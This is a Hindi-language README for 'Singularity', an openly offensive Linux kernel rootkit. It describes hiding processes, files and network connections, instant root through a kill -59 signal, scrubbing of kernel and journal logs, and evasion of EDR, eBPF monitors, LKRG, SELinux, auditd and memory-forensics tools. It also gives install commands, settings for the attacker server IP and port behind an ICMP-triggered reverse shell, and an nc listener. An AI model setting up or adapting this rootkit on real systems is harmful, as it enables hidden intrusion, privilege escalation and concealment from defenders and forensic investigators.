Singularity - स्टेल्थी लिनक्स कर्नेल रूटकिट
"Shall we give forensics a little work?"
Singularity एक शक्तिशाली लिनक्स कर्नेल मॉड्यूल (LKM) रूटकिट है जिसे आधुनिक 6.x कर्नेल के लिए डिज़ाइन किया गया है। यह ftrace इंफ्रास्ट्रक्चर के माध्यम से उन्नत सिस्टम कॉल हुकिंग के जरिए व्यापक स्टेल्थ क्षमताएं प्रदान करता है।
पूर्ण शोध लेख (पुराना संस्करण): Singularity: A Final Boss Linux Kernel Rootkit
EDR एवेज़न केस स्टडी: Bypassing Elastic EDR with Singularity
POC वीडियो: Singularity vs eBPF सुरक्षा उपकरण: Singularity vs eBPF security tools
Singularity हुक्स के साथ eBPF सुरक्षा को तोड़ना: Breaking eBPF
Singularity Rootkit: Elastic Defend मॉड्यूल लोड डिटेक्शन से बचना Bypassing Elastic Defend
Singularity क्या है?
Singularity एक परिष्कृत रूटकिट है जो कर्नेल स्तर पर काम करता है, और निम्नलिखित प्रदान करता है:
- प्रोसेस हाइडिंग: किसी भी प्रोसेस को सिस्टम के लिए पूरी तरह अदृश्य बनाएं
- फ़ाइल और डायरेक्टरी हाइडिंग: पैटर्न मैचिंग का उपयोग करके फ़ाइलों को छिपाएं
- नेटवर्क स्टेल्थ: TCP/UDP कनेक्शन, पोर्ट और conntrack एंट्रीज़ छिपाएं
- प्रिविलेज एस्केलेशन: सिग्नल-आधारित तत्काल रूट एक्सेस
- लॉग सैनिटाइज़ेशन: रीयल-टाइम में कर्नेल लॉग और सिस्टम जर्नल फ़िल्टर करें
- सेल्फ-हाइडिंग: मॉड्यूल सूचियों और सिस्टम मॉनिटरिंग से खुद को हटाएं
- रिमोट एक्सेस: स्वचालित हाइडिंग के साथ ICMP-ट्रिगर्ड रिवर्स शेल
- एंटी-डिटेक्शन: eBPF-आधारित रनटाइम सुरक्षा उपकरणों (Falco, Tracee) से बचें, Linux Kernel Runtime Guard (LKRG) को बायपास करें, और io_uring बायपास प्रयासों को रोकें
- ऑडिट एवेज़न: सांख्यिकी ट्रैकिंग और सॉकेट inode फ़िल्टरिंग के साथ netlink स्तर पर छिपे हुए प्रोसेस के लिए ऑडिट संदेश छोड़ें
- मेमोरी फ़ोरेंसिक्स एवेज़न: LiME और AVML अधिग्रहण को ब्लॉक करें; फिजिकल डंप में मॉड्यूल पेज और छिपे हुए task_structs को ज़ीरो करें; /proc/kcore, /proc/kallsyms, /proc/vmallocinfo फ़िल्टर करें
- Cgroup फ़िल्टरिंग: cgroup.procs से छिपे हुए PIDs फ़िल्टर करें
- Syslog एवेज़न: klogctl() कर्नेल रिंग बफ़र एक्सेस को फ़िल्टर करने के लिए do_syslog को हुक करें
- Debugfs एवेज़न: debugfs जैसे उपकरणों के आउटपुट को फ़िल्टर करें जो रॉ ब्लॉक डिवाइस पढ़ते हैं
- Conntrack फ़िल्टरिंग: /proc/net/nf_conntrack और netlink SOCK_DIAG/NETFILTER क्वेरीज़ से कनेक्शन छिपाएं
- SELinux एवेज़न: ICMP ट्रिगर पर स्वचालित SELinux enforcing मोड बायपास
- LKRG बायपास: Linux Kernel Runtime Guard डिटेक्शन मेकैनिज़्म से बचें
- eBPF सुरक्षा बायपास: eBPF-आधारित रनटाइम सुरक्षा उपकरणों (Falco, Tracee) से प्रोसेस छिपाएं
विशेषताएं
- सिग्नल-आधारित प्रिविलेज एलिवेशन (kill -59)
- /proc और मॉनिटरिंग उपकरणों से पूर्ण प्रोसेस हाइडिंग
- फ़ाइलों और डायरेक्टरीज़ के लिए पैटर्न-आधारित फ़ाइलसिस्टम हाइडिंग
- netstat, ss, conntrack, और पैकेट एनालाइज़र से नेटवर्क कनेक्शन छिपाना
- उन्नत netlink फ़िल्टरिंग (SOCK_DIAG, NETFILTER/conntrack संदेश)
- dmesg, journalctl, और klogctl के लिए रीयल-टाइम कर्नेल लॉग फ़िल्टरिंग
- lsmod और /sys/module से मॉड्यूल सेल्फ-हाइडिंग
- स्वचालित कर्नेल taint फ़्लैग नॉर्मलाइज़ेशन
- eBPF-आधारित डिटेक्शन को रोकने के लिए BPF डेटा फ़िल्टरिंग
- एसिंक्रोनस I/O बायपास के खिलाफ io_uring सुरक्षा
- कर्नेल संदेशों और सिस्टम लॉग के लिए लॉग मास्किंग
- मानक रूटकिट डिटेक्टरों (unhide, chkrootkit, rkhunter) से एवेज़न
- tracepoint हुक्स के माध्यम से स्वचालित चाइल्ड प्रोसेस ट्रैकिंग और हाइडिंग
- मल्टी-आर्किटेक्चर समर्थन (x64 + ia32)
- रॉ सॉकेट सुरक्षा के साथ नेटवर्क पैकेट-स्तर फ़िल्टरिंग
- सभी फ़ाइल I/O वेरिएंट्स (read, write, splice, sendfile, tee, copy_file_range) के खिलाफ सुरक्षा
- auditd डिटेक्शन से बचने के लिए सांख्यिकी ट्रैकिंग के साथ netlink-स्तर ऑडिट संदेश फ़िल्टरिंग
- व्यापक नेटवर्क हाइडिंग के लिए सॉकेट inode ट्रैकिंग
/sys/fs/cgroup/*/cgroup.procs के माध्यम से डिटेक्शन को रोकने के लिए Cgroup PID फ़िल्टरिंग
- PID एन्यूमरेशन को रोकने के लिए TaskStats netlink ब्लॉकिंग
- फिजिकल मेमोरी अधिग्रहण प्रतिरोध:
copy_mc_to_kernel पर kprobe LiME पेज कॉपी को इंटरसेप्ट करता है और मॉड्यूल पेज और छिपे हुए task_struct रेंज को ज़ीरो बफ़र्स पर रीडायरेक्ट करता है; /proc/kcore रीड हुक के माध्यम से AVML ब्लॉक
- /proc/kcore, /proc/kallsyms, /proc/vmallocinfo रीड फ़िल्टरिंग
- klogctl() को फ़िल्टर करने और कर्नेल रिंग बफ़र लीक को रोकने के लिए do_syslog हुक
- debugfs और समान डिस्क फ़ोरेंसिक्स उपकरणों से बचने के लिए ब्लॉक डिवाइस आउटपुट फ़िल्टरिंग
- write हुक के माध्यम से journalctl -k आउटपुट फ़िल्टरिंग
- ICMP-ट्रिगर्ड शेल्स के लिए SELinux enforcing मोड बायपास क्षमता
- छिपे हुए प्रोसेस के लिए LKRG इंटीग्रिटी चेक बायपास
- BPF ringbuffer और perf event इंटरसेप्शन के माध्यम से Falco इवेंट हाइडिंग
इंस्टॉलेशन
पूर्वापेक्षाएं
- Linux कर्नेल 6.x
- आपके चल रहे कर्नेल के लिए कर्नेल हेडर
- GCC और Make
- रूट एक्सेस
त्वरित इंस्टॉल
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..
बस इतना ही। मॉड्यूल स्वचालित रूप से:
- खुद को lsmod, /proc/modules, /sys/module से छिपा लेता है
- kernel taint flags साफ़ कर देता है
- dmesg, journalctl -k, klogctl से संवेदनशील strings फ़िल्टर कर देता है
- आपकी छिपी हुई फ़ाइलों और प्रक्रियाओं की सुरक्षा शुरू कर देता है
महत्वपूर्ण नोट्स
मॉड्यूल लोड होने के बाद स्वचालित रूप से खुद को छिपा लेता है
कोई unload सुविधा नहीं है - हटाने के लिए reboot आवश्यक है
पहले VM में परीक्षण करें - restart किए बिना इसे हटाया नहीं जा सकता
कॉन्फ़िगरेशन
अपना Server IP और Port सेट करें
include/core.h संपादित करें:
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
modules/icmp.c को संपादित करें:
#define SRV_PORT "8081" // Change this to your desired port
modules/bpf_hook.c को संपादित करें:
#define HIDDEN_PORT 8081 // Must match SRV_PORT
modules/hiding_tcp.c को संपादित करें:
#define PORT 8081 // Must match SRV_PORT
महत्वपूर्ण: उचित नेटवर्क छिपाने और ICMP रिवर्स शेल कार्यक्षमता के लिए सभी पोर्ट परिभाषाएँ मेल खानी चाहिए।
उपयोग
प्रक्रियाएँ छिपाएँ
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
Process, ps, top, htop, /proc और सभी मॉनिटरिंग टूल्स के लिए अदृश्य रहेगा। सभी चाइल्ड प्रोसेस स्वचालित रूप से ट्रैक और छिपाए जाते हैं।
फ़ाइलें और डायरेक्टरीज़ छिपाएँ
आपके कॉन्फ़िगर किए गए पैटर्न से मेल खाने वाली फ़ाइलें स्वचालित रूप से छिपी जाती हैं:
mkdir singularity
echo "secret" > singularity/data.txt
# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)
# But you can still access it
cat singularity/data.txt
# secret
# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directory
रूट बनें
सिग्नल-आधारित विधि:
kill -59 $$
id # uid=0(root)
नेटवर्क कनेक्शन छिपाएं
आपके कॉन्फ़िगर किए गए पोर्ट (डिफ़ॉल्ट: 8081) पर कनेक्शन स्वचालित रूप से छिपे रहते हैं:
nc -lvnp 8081